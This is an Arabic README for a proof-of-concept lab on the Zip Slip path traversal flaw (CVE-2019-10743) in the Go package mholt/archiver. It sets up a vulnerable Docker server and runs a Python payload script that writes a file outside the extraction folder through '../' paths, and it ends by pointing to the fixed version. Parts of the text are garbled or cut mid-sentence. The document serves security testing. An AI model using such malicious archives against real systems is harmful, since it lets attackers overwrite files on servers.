
إثبات مفهوم لاستغلال ثغرة Zip Slip (CVE-2019-10743) في mholt/archiver، مع خادم ضعيف وحمولة Python لاختبار اجتياز المسار.
يوضح هذا المشروع ثغرة Zip Slip (CVE-2019-10743) باستخدام الإصدار المعرّض للخطر من حزمة mholt/archiver.
ثغرة Zip Slip هي ثغرة اكتشفها باحثو الأمن من Snyk. وُجد أن الثغرة تؤثر على حزم متعددة تُستخدم في الاستخدام الفعلي. يمكن استغلال الثغرة مما قد يؤدي إلى مشكلات مثل:
حزمة mholt/archiver هي حزمة Go توفر واجهة برمجة تطبيقات (API) بسيطة ومتسقة للتعامل مع ملفات الأرشيف والملفات المضغوطة. وهي تدعم صيغًا مثل .zip و و و أو .
.tar.tar.gz.7z.rarmholt/archiver المعرّضة للخطر../../../../../tmp/hacked.txt)# Start the vulnerable server
./docker-run.sh start
# Stop the server
./docker-run.sh stop
# View logs
./docker-run.sh logs
# Clean up
./docker-run.sh cleanup
ملاحظة: تأكد من أن docker-run.sh لديه صلاحيات التنفيذ:
# Give execution rights
chmod +x ./docker-run.sh
بعد تشغيل الحاوية، يمكنك استخدام أمر مشابه لهذا الأمر للوصول إلى بيئة الاختبار:
# Connect to the container that is running the application
docker exec -it zipslip-vulnerable-server /bin/bash
# Install Python dependencies
pip3 install -r requirements.txt
# Execute the payload
python3 test_exploit.py -p "../../../../../../tmp/hacked.txt" -c "You were pwned!"
ملاحظة: يجب أن تكون الأوامر قابلة للتنفيذ داخل الحاوية.
-u, --url: عنوان URL للخادم (الافتراضي: http://localhost:8080)-z, --zip: اسم ملف ZIP (الافتراضي: malicious_test.zip)-p, --path: اسم ملف عبور المسار (الافتراضي: ../../../malicious_escaped.txt)-c, --content: محتوى الملفلإصلاح هذه الثغرة:
mholt/archiver الإصدار 3.3.2 أو أحدث